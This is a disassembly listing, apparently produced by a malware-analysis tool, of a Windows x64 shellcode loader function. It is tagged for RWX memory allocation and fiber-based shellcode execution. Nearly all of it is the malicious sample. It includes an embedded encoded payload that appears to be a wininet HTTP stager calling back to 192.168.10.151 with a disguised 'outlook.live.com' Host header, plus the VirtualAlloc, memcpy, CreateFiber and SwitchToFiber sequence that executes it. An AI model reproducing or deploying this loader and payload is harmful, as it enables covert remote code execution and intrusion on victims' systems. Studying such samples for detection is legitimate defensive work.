Function at 0x140001490
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows fibers

Disassembly:
push rdi
sub rsp, 0x70
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x80], rbx
mov rax, qword [0x140005010]
xor rax, rsp
mov qword [rsp + 0x68], rax
movdqa xmm0, xmmword [0x1400038a0]
movdqu xmmword [rsp + 0x58], xmm0
mov byte [rsp + 0x48], 0
mov r8d, 0x4a8
lea rdx, str._EiD5PDoyAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwJ1couAiAAAAEiFwHRnSAHQUItIGESLQCBJAdDjVkj_yUGLNIhIAdZNMclIMcCsQcHJDUEBwTjgdfFMA0wkCEU50XXYWESLQCRJAdBmQYsMSESLQBxJAdBBiwSISAHQQVhBWF5ZWkFYQVlBWkiD7CBBUv_gWEFZWkiLEulP____XWoASb53aW5pbmV0AEFWSYnmTInxQbpMdyYH_9VIMclIMdJNMcBNMclBUEFQQbo6Vnmn_9Xrc1pIicFBuFAAAABNMclBUUFRagNBUUG6V4mfxv_V61lbSInBSDHSSYnYTTHJUmgAAkCEUlJBuutVLjv_1UiJxkiDw1BqCl9IifFIidpJx8D_____TTHJUlJBui0GGHv_1YXAD4WdAQAASP_PD4SMAQAA69Pp5AEAAOii____L1JwYwD3FH7trLPhWHn1gbGHNsDU1ewu2p3ym9SGJdbRkr0pzUszqyGu8tY5TmRwh4DnIOkArT0DDAOIlTPslaQRVbuNBxJ1_Cu1c60SkABIb3N0OiBvdXRsb29rLmxpdmUuY29tDQpBY2NlcHQ6ICovKg0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xKSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKQ0KAIRpGlYXVaA4vMgMpZA2wooxI9pzAvr2zRqHBtYoDGeD93kYDCRXv7iA8w1x9q7OBR25ZsIpoSjmWaKMteA674Sn0fMvxnwJycpIh0TkiFrvJ0KpT8OB_Sy87UNPek0r2qH5Lt96S0GPnhBNX_bSRH9t_UbehOQI1s6TIWBuYfHTuc3oQ31KcX9tY1clT5A17w1eqzi8ekxCiRStSXdIe_L5kj8EUr6xMw71cM69vcaAzMsR_g4AQb7wtaJW_9VIMcm6AABAAEG4ABAAAEG5QAAAAEG6WKRT5f_VSJNTU0iJ50iJ8UiJ2kG4ACAAAEmJUG6EpaJ4v_VSIPEIIXAdLZmiwdIAcOFwHXXWFhYSAUAAAAAUMPon_3__zE5Mi4xNjguMTAuMTUxAFEJv20
lea rcx, [rsp + 0x48]
call fcn.140001690
nop
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlsAlloc]
cmp eax, 0xffffffff
je 0x1400015c7
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x28]
call fcn.140001030
nop
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov ebx, 0x384
mov r9d, 0x40
mov r8d, 0x3000
mov edx, ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
mov r8d, ebx
xor edx, edx
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
cmp qword [rsp + 0x38], rbx
cmovb rbx, qword [rsp + 0x38]
lea rdx, [rsp + 0x28]
cmp qword [rsp + 0x40], 0x10
cmovae rdx, qword [rsp + 0x28]
mov r8, rbx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
xor r8d, r8d
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SwitchToFiber]
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x1400015b4
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400015af
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400015af
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001f30
movdqa xmm0, xmmword [0x1400038a0]
movdqu xmmword [rsp + 0x38], xmm0
mov byte [rsp + 0x28], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x140001607
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001602
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001602
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001f30
xor eax, eax
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.140001980
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret